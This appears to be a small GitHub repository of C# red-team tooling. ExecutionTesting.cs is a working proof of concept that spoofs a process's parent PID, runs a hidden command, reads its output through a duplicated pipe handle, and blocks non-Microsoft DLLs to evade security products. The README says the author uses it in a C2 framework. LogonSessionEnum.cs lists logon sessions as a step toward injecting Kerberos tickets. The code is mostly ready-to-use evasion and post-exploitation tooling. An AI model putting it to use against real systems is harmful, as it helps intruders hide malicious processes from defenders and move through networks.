├── ExecutionTesting.cs ├── LogonSessionEnum.cs └── README.md /ExecutionTesting.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using Microsoft.Win32.SafeHandles; 7 | using System.IO; 8 | 9 | // Might work best for testing in its own VS Solution/Project... otherwise: 10 | // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe ExecutionTesting.cs 11 | 12 | // Thanks to this StackOverflow for getting me started: 13 | // https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-startupinfoex-from-c-sharp-and-re-parent-the-ch 14 | 15 | namespace ExecutionTesting 16 | { 17 | class Program 18 | { 19 | static void Main(string[] args) 20 | { 21 | if (args.Length != 1) 22 | { 23 | Console.WriteLine("Usage: ExecutionTesting.exe "); 24 | return; 25 | } 26 | 27 | int newParentProcId; 28 | if (!Int32.TryParse(args[0], out newParentProcId)) 29 | { 30 | Console.WriteLine("Usage: ExecutionTesting.exe "); 31 | return; 32 | } 33 | 34 | // Modify the below to execute something else, ping -n 15 used so we can watch in procexp ;) 35 | string command = "cmd.exe /c ping -n 15 127.0.0.1"; 36 | 37 | Console.WriteLine(String.Format("Press enter to execute '{0}' under pid {1}", command, newParentProcId)); 38 | Console.ReadKey(); 39 | UnmanagedExecute.CreateProcess(newParentProcId, command); 40 | Console.WriteLine("Done. Press any key to exit..."); 41 | Console.ReadKey(); 42 | } 43 | } 44 | 45 | class UnmanagedExecute 46 | { 47 | [DllImport("kernel32.dll")] 48 | [return: MarshalAs(UnmanagedType.Bool)] 49 | static extern bool CreateProcess( 50 | string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, 51 | ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, 52 | IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, 53 | out PROCESS_INFORMATION lpProcessInformation); 54 | 55 | [DllImport("kernel32.dll", SetLastError = true)] 56 | public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); 57 | 58 | [DllImport("kernel32.dll", SetLastError = true)] 59 | public static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds); 60 | 61 | [DllImport("kernel32.dll", SetLastError = true)] 62 | [return: MarshalAs(UnmanagedType.Bool)] 63 | private static extern bool UpdateProcThreadAttribute( 64 | IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, 65 | IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 66 | 67 | [DllImport("kernel32.dll", SetLastError = true)] 68 | [return: MarshalAs(UnmanagedType.Bool)] 69 | private static extern bool InitializeProcThreadAttributeList( 70 | IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 71 | 72 | [DllImport("kernel32.dll", SetLastError = true)] 73 | [return: MarshalAs(UnmanagedType.Bool)] 74 | private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); 75 | 76 | [DllImport("kernel32.dll", SetLastError = true)] 77 | static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask, 78 | HANDLE_FLAGS dwFlags); 79 | 80 | [DllImport("kernel32.dll", SetLastError = true)] 81 | static extern bool PeekNamedPipe(IntPtr handle, 82 | IntPtr buffer, IntPtr nBufferSize, IntPtr bytesRead, 83 | ref uint bytesAvail, IntPtr BytesLeftThisMessage); 84 | 85 | [DllImport("kernel32.dll", SetLastError = true)] 86 | static extern bool CloseHandle(IntPtr hObject); 87 | 88 | [DllImport("kernel32.dll", SetLastError = true)] 89 | [return: MarshalAs(UnmanagedType.Bool)] 90 | static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, 91 | IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, 92 | uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 93 | 94 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 95 | public static extern int GetConsoleOutputCP(); 96 | 97 | [DllImport("kernel32.dll")] 98 | static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, 99 | ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); 100 | 101 | public static bool CreateProcess(int parentProcessId, string command) 102 | { 103 | // STARTUPINFOEX members 104 | const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; 105 | const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; 106 | 107 | // Block non-Microsoft signed DLL's 108 | const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; 109 | 110 | // STARTUPINFO members (dwFlags and wShowWindow) 111 | const int STARTF_USESTDHANDLES = 0x00000100; 112 | const int STARTF_USESHOWWINDOW = 0x00000001; 113 | const short SW_HIDE = 0x0000; 114 | 115 | // dwCreationFlags 116 | const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 117 | const uint CREATE_NO_WINDOW = 0x08000000; 118 | 119 | // WaitForSingleObject INFINITE 120 | const UInt32 INFINITE = 0xFFFFFFFF; 121 | var error = Marshal.GetLastWin32Error(); 122 | 123 | // DuplicateHandle 124 | const uint DUPLICATE_CLOSE_SOURCE = 0x00000001; 125 | const uint DUPLICATE_SAME_ACCESS = 0x00000002; 126 | 127 | // https://msdn.microsoft.com/en-us/library/ms682499(VS.85).aspx 128 | // Handle stuff 129 | var saHandles = new SECURITY_ATTRIBUTES(); 130 | saHandles.nLength = Marshal.SizeOf(saHandles); 131 | saHandles.bInheritHandle = true; 132 | saHandles.lpSecurityDescriptor = IntPtr.Zero; 133 | 134 | IntPtr hStdOutRead; 135 | IntPtr hStdOutWrite; 136 | // Duplicate handle created just in case 137 | IntPtr hDupStdOutWrite = IntPtr.Zero; 138 | 139 | // Create the pipe and make sure read is not inheritable 140 | CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 0); 141 | SetHandleInformation(hStdOutRead, HANDLE_FLAGS.INHERIT, 0); 142 | 143 | var pInfo = new PROCESS_INFORMATION(); 144 | var siEx = new STARTUPINFOEX(); 145 | 146 | // Be sure to set the cb member of the STARTUPINFO structure to sizeof(STARTUPINFOEX). 147 | siEx.StartupInfo.cb = Marshal.SizeOf(siEx); 148 | IntPtr lpValueProc = IntPtr.Zero; 149 | IntPtr hSourceProcessHandle = IntPtr.Zero; 150 | 151 | // Values will be overwritten if parentProcessId > 0 152 | siEx.StartupInfo.hStdError = hStdOutWrite; 153 | siEx.StartupInfo.hStdOutput = hStdOutWrite; 154 | 155 | try 156 | { 157 | if (parentProcessId > 0) 158 | { 159 | var lpSize = IntPtr.Zero; 160 | var success = InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize); 161 | if (success || lpSize == IntPtr.Zero) 162 | { 163 | return false; 164 | } 165 | 166 | siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); 167 | success = InitializeProcThreadAttributeList(siEx.lpAttributeList, 2, 0, ref lpSize); 168 | if (!success) 169 | { 170 | return false; 171 | } 172 | 173 | IntPtr lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); 174 | Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON); 175 | 176 | // Add Microsoft-only DLL protection 177 | success = UpdateProcThreadAttribute( 178 | siEx.lpAttributeList, 179 | 0, 180 | (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, 181 | lpMitigationPolicy, 182 | (IntPtr)IntPtr.Size, 183 | IntPtr.Zero, 184 | IntPtr.Zero); 185 | if (!success) 186 | { 187 | Console.WriteLine("[!] Failed to set process mitigation policy"); 188 | return false; 189 | } 190 | 191 | IntPtr parentHandle = OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId); 192 | // This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function 193 | lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); 194 | Marshal.WriteIntPtr(lpValueProc, parentHandle); 195 | 196 | success = UpdateProcThreadAttribute( 197 | siEx.lpAttributeList, 198 | 0, 199 | (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 200 | lpValueProc, 201 | (IntPtr)IntPtr.Size, 202 | IntPtr.Zero, 203 | IntPtr.Zero); 204 | if (!success) 205 | { 206 | return false; 207 | } 208 | 209 | IntPtr hCurrent = System.Diagnostics.Process.GetCurrentProcess().Handle; 210 | IntPtr hNewParent = OpenProcess(ProcessAccessFlags.DuplicateHandle, true, parentProcessId); 211 | 212 | success = DuplicateHandle(hCurrent, hStdOutWrite, hNewParent, ref hDupStdOutWrite, 0, true, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); 213 | if (!success) 214 | { 215 | error = Marshal.GetLastWin32Error(); 216 | return false; 217 | } 218 | 219 | error = Marshal.GetLastWin32Error(); 220 | siEx.StartupInfo.hStdError = hDupStdOutWrite; 221 | siEx.StartupInfo.hStdOutput = hDupStdOutWrite; 222 | } 223 | 224 | siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 225 | siEx.StartupInfo.wShowWindow = SW_HIDE; 226 | 227 | var ps = new SECURITY_ATTRIBUTES(); 228 | var ts = new SECURITY_ATTRIBUTES(); 229 | ps.nLength = Marshal.SizeOf(ps); 230 | ts.nLength = Marshal.SizeOf(ts); 231 | bool ret = CreateProcess(null, command, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); 232 | if(!ret) 233 | { 234 | Console.WriteLine("[!] Proccess failed to execute!"); 235 | return false; 236 | } 237 | SafeFileHandle safeHandle = new SafeFileHandle(hStdOutRead, false); 238 | var encoding = Encoding.GetEncoding(GetConsoleOutputCP()); 239 | var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true); 240 | string result = ""; 241 | bool exit = false; 242 | try 243 | { 244 | do 245 | { 246 | if(WaitForSingleObject(pInfo.hProcess, 100) == 0) 247 | { 248 | exit = true; 249 | } 250 | 251 | char[] buf = null; 252 | int bytesRead; 253 | 254 | uint bytesToRead = 0; 255 | 256 | bool peekRet = PeekNamedPipe(hStdOutRead, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref bytesToRead, IntPtr.Zero); 257 | 258 | if (peekRet == true && bytesToRead == 0) 259 | { 260 | if (exit == true) 261 | { 262 | Console.WriteLine("Command executed."); 263 | break; 264 | } 265 | else 266 | { 267 | continue; 268 | } 269 | } 270 | 271 | if (bytesToRead > 4096) 272 | bytesToRead = 4096; 273 | 274 | buf = new char[bytesToRead]; 275 | bytesRead = reader.Read(buf, 0, buf.Length); 276 | if (bytesRead > 0) 277 | { 278 | Console.WriteLine(String.Format("[+] {0} bytes read", bytesRead)); 279 | result += new string(buf); 280 | } 281 | 282 | }while(true); 283 | reader.Close(); 284 | } 285 | finally 286 | { 287 | if (!safeHandle.IsClosed) 288 | { 289 | safeHandle.Close(); 290 | } 291 | } 292 | 293 | if (hStdOutRead != IntPtr.Zero) 294 | { 295 | CloseHandle(hStdOutRead); 296 | } 297 | Console.WriteLine(result); 298 | return true; 299 | 300 | 301 | } 302 | finally 303 | { 304 | // Free the attribute list 305 | if (siEx.lpAttributeList != IntPtr.Zero) 306 | { 307 | DeleteProcThreadAttributeList(siEx.lpAttributeList); 308 | Marshal.FreeHGlobal(siEx.lpAttributeList); 309 | } 310 | Marshal.FreeHGlobal(lpValueProc); 311 | 312 | // Close process and thread handles 313 | if (pInfo.hProcess != IntPtr.Zero) 314 | { 315 | CloseHandle(pInfo.hProcess); 316 | } 317 | if (pInfo.hThread != IntPtr.Zero) 318 | { 319 | CloseHandle(pInfo.hThread); 320 | } 321 | } 322 | } 323 | 324 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 325 | struct STARTUPINFOEX 326 | { 327 | public STARTUPINFO StartupInfo; 328 | public IntPtr lpAttributeList; 329 | } 330 | 331 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 332 | struct STARTUPINFO 333 | { 334 | public Int32 cb; 335 | public string lpReserved; 336 | public string lpDesktop; 337 | public string lpTitle; 338 | public Int32 dwX; 339 | public Int32 dwY; 340 | public Int32 dwXSize; 341 | public Int32 dwYSize; 342 | public Int32 dwXCountChars; 343 | public Int32 dwYCountChars; 344 | public Int32 dwFillAttribute; 345 | public Int32 dwFlags; 346 | public Int16 wShowWindow; 347 | public Int16 cbReserved2; 348 | public IntPtr lpReserved2; 349 | public IntPtr hStdInput; 350 | public IntPtr hStdOutput; 351 | public IntPtr hStdError; 352 | } 353 | 354 | [StructLayout(LayoutKind.Sequential)] 355 | internal struct PROCESS_INFORMATION 356 | { 357 | public IntPtr hProcess; 358 | public IntPtr hThread; 359 | public int dwProcessId; 360 | public int dwThreadId; 361 | } 362 | 363 | [StructLayout(LayoutKind.Sequential)] 364 | public struct SECURITY_ATTRIBUTES 365 | { 366 | public int nLength; 367 | public IntPtr lpSecurityDescriptor; 368 | [MarshalAs(UnmanagedType.Bool)] 369 | public bool bInheritHandle; 370 | } 371 | 372 | [Flags] 373 | public enum ProcessAccessFlags : uint 374 | { 375 | All = 0x001F0FFF, 376 | Terminate = 0x00000001, 377 | CreateThread = 0x00000002, 378 | VirtualMemoryOperation = 0x00000008, 379 | VirtualMemoryRead = 0x00000010, 380 | VirtualMemoryWrite = 0x00000020, 381 | DuplicateHandle = 0x00000040, 382 | CreateProcess = 0x000000080, 383 | SetQuota = 0x00000100, 384 | SetInformation = 0x00000200, 385 | QueryInformation = 0x00000400, 386 | QueryLimitedInformation = 0x00001000, 387 | Synchronize = 0x00100000 388 | } 389 | 390 | [Flags] 391 | enum HANDLE_FLAGS : uint 392 | { 393 | None = 0, 394 | INHERIT = 1, 395 | PROTECT_FROM_CLOSE = 2 396 | } 397 | 398 | [Flags] 399 | public enum DuplicateOptions : uint 400 | { 401 | DUPLICATE_CLOSE_SOURCE = 0x00000001, 402 | DUPLICATE_SAME_ACCESS = 0x00000002 403 | } 404 | } 405 | } 406 | -------------------------------------------------------------------------------- /LogonSessionEnum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Security.Principal; 4 | 5 | // Built from https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us 6 | // and Pinvoke.net <3 7 | 8 | namespace LogonSessionEnum 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | int infoLength = 0; 15 | IntPtr tokenInformation; 16 | 17 | // since TokenInformation is a buffer, we need to call GetTokenInformation twice, first time to get the length for the buffer 18 | GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, 0, out infoLength); 19 | tokenInformation = Marshal.AllocHGlobal(infoLength); 20 | GetTokenInformation(System.Security.Principal.WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenStatistics, tokenInformation, infoLength, out infoLength); 21 | TOKEN_STATISTICS tokenStatistics = (TOKEN_STATISTICS)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_STATISTICS)); 22 | 23 | EnumerateLogonSessions(tokenStatistics.AuthenticationId.LowPart); 24 | Marshal.FreeHGlobal(tokenInformation); 25 | } 26 | 27 | static void EnumerateLogonSessions(uint currentLUID) 28 | { 29 | UInt64 count; 30 | IntPtr pLuid; 31 | IntPtr pLuidList = IntPtr.Zero; 32 | uint AccessDenied = 0xc0000022; 33 | DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); 34 | 35 | if (LsaEnumerateLogonSessions(out count, out pLuidList) != 0) 36 | { 37 | Console.WriteLine("[!] Error running LsaEnumerateLogonSessions()"); 38 | Console.ReadLine(); 39 | 40 | return; 41 | } 42 | 43 | // Sets pLuid to the first LUID structure in the list 44 | pLuid = pLuidList; 45 | 46 | // count stores number of LUIDs in the list 47 | for (ulong idx = 0; idx < count; idx++) 48 | { 49 | IntPtr pSessionData; 50 | uint result = LsaGetLogonSessionData(pLuid, out pSessionData); 51 | if (result != 0) 52 | { 53 | if (result == AccessDenied) 54 | { 55 | Console.WriteLine("[!] Access denied enumerating LogonId {0:X2}", pLuid); 56 | } 57 | else 58 | { 59 | Console.WriteLine("[!] Unknown error accessing session data for LogonId {0:X2}: {1}", pLuid, result); 60 | } 61 | continue; 62 | } 63 | 64 | SECURITY_LOGON_SESSION_DATA sessionData = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(pSessionData, typeof(SECURITY_LOGON_SESSION_DATA)); 65 | 66 | if (pSessionData == IntPtr.Zero) 67 | { 68 | // Not a valid logon session 69 | continue; 70 | } 71 | 72 | // Marshal our data 73 | String username = Marshal.PtrToStringUni(sessionData.Username.buffer).Trim(); 74 | String domain = Marshal.PtrToStringUni(sessionData.DnsDomainName.buffer).Trim(); 75 | String sid = new System.Security.Principal.SecurityIdentifier(sessionData.PSiD).Value; 76 | String package = Marshal.PtrToStringUni(sessionData.AuthenticationPackage.buffer).Trim(); 77 | SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)sessionData.LogonType; 78 | DateTime logonTime = systime.AddTicks((long)sessionData.LoginTime); 79 | 80 | if (domain == "") 81 | { 82 | domain = Marshal.PtrToStringUni(sessionData.LoginDomain.buffer).Trim(); 83 | } 84 | 85 | // Write our data 86 | Console.WriteLine(); 87 | if (currentLUID == sessionData.LoginID.LowPart) 88 | { 89 | Console.WriteLine("***********Current Session***********"); 90 | } 91 | Console.WriteLine("LogonID (LUID): {0}", sessionData.LoginID.LowPart); 92 | Console.WriteLine("User: {0}\\{1}", domain, username); 93 | Console.WriteLine("SID: {0}", sid); 94 | Console.WriteLine("Auth Package: {0}", package); 95 | Console.WriteLine("Logon Type: {0}", logonType); 96 | Console.WriteLine("Logon Time: {0}", logonTime); 97 | if (currentLUID == sessionData.LoginID.LowPart) 98 | { 99 | Console.WriteLine("*************************************"); 100 | } 101 | Console.WriteLine(); 102 | 103 | // Bunch of typecasts to essentially move our pointer to the next LUID in the list 104 | pLuid = (IntPtr)((int)pLuid + Marshal.SizeOf(typeof(LUID))); 105 | LsaFreeReturnBuffer(pSessionData); 106 | } 107 | LsaFreeReturnBuffer(pLuid); 108 | } 109 | 110 | [DllImport("Secur32.dll", SetLastError = false)] 111 | private static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList); 112 | 113 | [DllImport("Secur32.dll", SetLastError = false)] 114 | private static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData); 115 | 116 | [DllImport("secur32.dll", SetLastError = false)] 117 | private static extern uint LsaFreeReturnBuffer(IntPtr buffer); 118 | 119 | [DllImport("advapi32.dll", SetLastError = true)] 120 | private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, 121 | IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); 122 | 123 | [DllImport("kernel32.dll", SetLastError = true)] 124 | private static extern bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); 125 | 126 | 127 | enum TOKEN_INFORMATION_CLASS 128 | { 129 | TokenUser = 1, 130 | TokenGroups, 131 | TokenPrivileges, 132 | TokenOwner, 133 | TokenPrimaryGroup, 134 | TokenDefaultDacl, 135 | TokenSource, 136 | TokenType, 137 | TokenImpersonationLevel, 138 | TokenStatistics, 139 | TokenRestrictedSids, 140 | TokenSessionId, 141 | TokenGroupsAndPrivileges, 142 | TokenSessionReference, 143 | TokenSandBoxInert, 144 | TokenAuditPolicy, 145 | TokenOrigin 146 | } 147 | 148 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 149 | private struct TOKEN_STATISTICS 150 | { 151 | public LUID TokenId; 152 | public LUID AuthenticationId; 153 | public long ExpirationTime; 154 | public uint TokenType; 155 | public uint ImpersonationLevel; 156 | public uint DynamicCharged; 157 | public uint DynamicAvailable; 158 | public uint GroupCount; 159 | public uint PrivilegeCount; 160 | public LUID ModifiedId; 161 | } 162 | 163 | [StructLayout(LayoutKind.Sequential)] 164 | private struct LSA_UNICODE_STRING 165 | { 166 | public UInt16 Length; 167 | public UInt16 MaximumLength; 168 | public IntPtr buffer; 169 | } 170 | 171 | [StructLayout(LayoutKind.Sequential)] 172 | private struct LUID 173 | { 174 | public UInt32 LowPart; 175 | public UInt32 HighPart; 176 | } 177 | 178 | [StructLayout(LayoutKind.Sequential)] 179 | private struct SECURITY_LOGON_SESSION_DATA 180 | { 181 | public UInt32 Size; 182 | public LUID LoginID; 183 | public LSA_UNICODE_STRING Username; 184 | public LSA_UNICODE_STRING LoginDomain; 185 | public LSA_UNICODE_STRING AuthenticationPackage; 186 | public UInt32 LogonType; 187 | public UInt32 Session; 188 | public IntPtr PSiD; 189 | public UInt64 LoginTime; 190 | public LSA_UNICODE_STRING LogonServer; 191 | public LSA_UNICODE_STRING DnsDomainName; 192 | public LSA_UNICODE_STRING Upn; 193 | } 194 | 195 | private enum SECURITY_LOGON_TYPE : uint 196 | { 197 | Interactive = 2, //The security principal is logging on interactively. 198 | Network, //The security principal is logging using a network. 199 | Batch, //The logon is for a batch process. 200 | Service, //The logon is for a service account. 201 | Proxy, //Not supported. 202 | Unlock, //The logon is an attempt to unlock a workstation. 203 | NetworkCleartext, //The logon is a network logon with cleartext credentials. 204 | NewCredentials, // Allows the caller to clone its current token and specify new credentials for outbound connections. 205 | RemoteInteractive, // A terminal server session that is both remote and interactive. 206 | CachedInteractive, // Attempt to use the cached credentials without going out across the network. 207 | CachedRemoteInteractive, // Same as RemoteInteractive, except used internally for auditing purposes. 208 | CachedUnlock // The logon is an attempt to unlock a workstation. 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # csharp 2 | A place for me to store some C# tooling for red team/pentesting efforts. 3 | 4 | ### ExecutionTesting.cs 5 | Execute process under a different PID and retrieve the output. 6 | Usage: `ExecutionTesting.exe ` 7 | 8 | I've been using this for a while now within a C2 framework with some minor changes and has been pretty stable. This PoC will execute a command under a specified PID. You will need proper permissions on the process to launch a child under it. Sound familiar? Cobalt Strike introduced this feature [here](https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/) which also referenced Didier Stevens' [blog](https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/) who found this back in 2009! 9 | 10 | I *believe* this is the first public example of actually retrieving output from a process executed with another PID (Cobalt Strike can do it also). To achieve this I had to create a pipe with CreatePipe(), then use DuplicateHandle() to send a handle to the selected parent PID, then the new process should inherit that handle (due to STARTF_USESTDHANDLES) for the pipe and send stdout to the pipe. Our original process will then poll and read from that pipe. Would love to hear of any alternatives or better ways to achieve! 11 | 12 | Update 11-14-2019: Added mitigation policy to block non-Microsoft signed DLLs. This is similar to Cobalt Strike's `blockdlls` feature and was ported in from referencing [@xpn](https://twitter.com/_xpn_)'s great work which can be found [here](https://blog.xpnsec.com/protecting-your-malware/). 13 | 14 | ### LogonSessionEnum.cs 15 | Usage: `LogonSessionEnum.exe` 16 | 17 | Wanted to pull similar logon data, including LUIDs, to relate with [@harmj0y](https://twitter.com/harmj0y)'s [Rubeus](https://github.com/GhostPack/Rubeus) project. I noticed afterwards that a lot of similar code is in the Rubeus project. This code will also tell you which logon session your current process belongs to, useful when you're trying to understand which logon session you need to inject tickets into. 18 | 19 | --------------------------------------------------------------------------------